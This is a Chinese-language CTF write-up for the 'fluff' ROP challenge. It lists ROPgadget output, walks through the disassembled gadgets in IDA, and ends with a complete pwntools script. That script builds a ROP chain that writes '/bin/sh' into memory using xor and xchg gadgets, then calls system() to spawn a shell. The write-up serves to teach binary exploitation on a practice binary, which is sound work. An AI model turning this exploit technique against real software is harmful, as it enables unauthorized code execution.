fluff
链接:https://pan.baidu.com/s/1rNBQdwJcGG7Ih6NFvZYBaw
提取码:h31t
这个程序中漏洞点很显眼就不啰嗦了,有system函数,但没有/bin/sh 字符串
要做的是把这个 '/bin/sh' 写到一段内存中,当然难点也在这里!
$ ROPgadget --binary fluff --only 'pop|ret'
Gadgets information
============================================================
0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008c0 : pop r14 ; pop r15 ; ret
0x00000000004008c2 : pop r15 ; ret
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004008bf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x00000000004008c3 : pop rdi ; ret
0x00000000004008c1 : pop rsi ; pop r15 ; ret
0x00000000004008bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005b9 : ret
Unique gadgets found: 11
程序中只有一个fgets是个输入函数,但是没有rdx,所以没办法使用fgets把字符串写入内存
接下来的操作很骚,注意!
如果不能用函数写入,那就这样
- pop rag1 内存地址
- pop rag2 ‘/bin/sh'
- mov [rag1] rag2
- 使用这类似这种的形式把字符串写入内存中,我们把所有可以赋值的指令找出来
$ ROPgadget --binary fluff --only 'pop|mov|ret|xor|xchg' --depth 20
Gadgets information
============================================================
0x0000000000400713 : mov byte ptr [rip + 0x20096e], 1 ; ret
0x000000000040084f : mov dword ptr [rdx], ebx ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004007ae : mov eax, 0 ; pop rbp ; ret
0x0000000000400835 : mov ebp, 0x604060 ; ret
0x0000000000400846 : mov ebx, 0x602050 ; ret
0x0000000000400827 : mov edi, 0x601050 ; ret
0x000000000040083b : mov edi, 0x601050 ; xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x000000000040084e : mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400845 : mov r11d, 0x602050 ; ret
0x0000000000400834 : mov r13d, 0x604060 ; ret
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
0x00000000004008bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400853 : pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400851 : pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004008be : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400825 : pop r14 ; mov edi, 0x601050 ; ret
0x00000000004008c0 : pop r14 ; pop r15 ; ret
0x000000000040082d : pop r14 ; xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400843 : pop r15 ; mov r11d, 0x602050 ; ret
0x00000000004008c2 : pop r15 ; ret
0x0000000000400820 : pop r15 ; xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400712 : pop rbp ; mov byte ptr [rip + 0x20096e], 1 ; ret
0x00000000004008bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400852 : pop rbp ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x00000000004008bf : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004006b0 : pop rbp ; ret
0x00000000004008ba : pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040084d : pop rdi ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400844 : pop rdi ; mov r11d, 0x602050 ; ret
0x00000000004008c3 : pop rdi ; ret
0x0000000000400821 : pop rdi ; xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400826 : pop rsi ; mov edi, 0x601050 ; ret
0x00000000004008c1 : pop rsi ; pop r15 ; ret
0x000000000040082e : pop rsi ; xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400833 : pop rsp ; mov r13d, 0x604060 ; ret
0x00000000004008bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400854 : pop rsp ; xor byte ptr [r10], r12b ; ret
0x00000000004005b9 : ret
0x0000000000400841 : xchg ebx, edx ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400855 : xor byte ptr [r10], r12b ; ret
0x0000000000400856 : xor byte ptr [rdx], ah ; ret
0x0000000000400823 : xor ebx, ebx ; pop r14 ; mov edi, 0x601050 ; ret
0x0000000000400830 : xor ebx, esp ; pop r12 ; mov r13d, 0x604060 ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
在这一大堆里直接找有些麻烦,可以看到很多都是0x4008**这个地址
在ida找到这个地址
pop r15
xor r11, r11
pop r14
mov edi, offset __data_start
retn
-----------------------------------
pop r14
xor r11, r12
pop r12
mov r13d, 604060h
retn
-----------------------------------
mov edi, offset __data_start
xchg r10, r11
pop r15
mov r11d, 602050h
retn
-----------------------------------
pop r15
mov [r10], r11
pop r13
pop r12
xor [r10], r12b
retn
按照刚才的顺序,倒着从这里面找
复习一下 xchg 是交换两个寄存器(内存)的数据
xor 是 ^
(x^a)^a == x
x^0 == x
#!/usr/bin/python
#coding=utf-8
from pwn import *
p = process("./fluff")
p.recvuntil('> ')
sh='/bin/sh\x00' #这里的字符串一定要8位
system=0x4005E0
pop_rdi_ret=0x4008c3
payload='a'*0x20+p64(0)
#mov r11 602050h ;ret
payload+=p64(0x400845)
#pop r12;mov r13 604060h;ret; 让r11^r12 r11==data
data=0x601050
r11=0x602050
payload+=p64(0x400832)+p64(data^r11)
#xor r11 r12; pop r12;mov r13 604060h;ret; 现在r11==data
payload+=p64(0x40082F)+p64(0)
#xchg r10 r11;pop r15;mov r11 602050h ;ret 现在[r10]==*data
payload+=p64(0x400840)+p64(0)
#pop r12;mov r13 ...;ret; 现在r12='bin/sh'
payload+=p64(0x400832)+sh
#xor r11 r11;pop r14;mov ... ret; 现在r11=0
payload+=p64(0x400822)+p64(0)
#xor r11 r12; pop r12;mov r13 ...;ret; 现在r11=='bin/sh'
payload+=p64(0x40082F)+p64(0)
#mov [r10] r11; pop r13; pop 12; xor [r10] r12b ret;
payload+=p64(0x40084E)+p64(0)+p64(0) #现在*data='bin/sh'
payload+=p64(pop_rdi_ret)+p64(data)+p64(system)
p.sendline(payload)
p.interactive()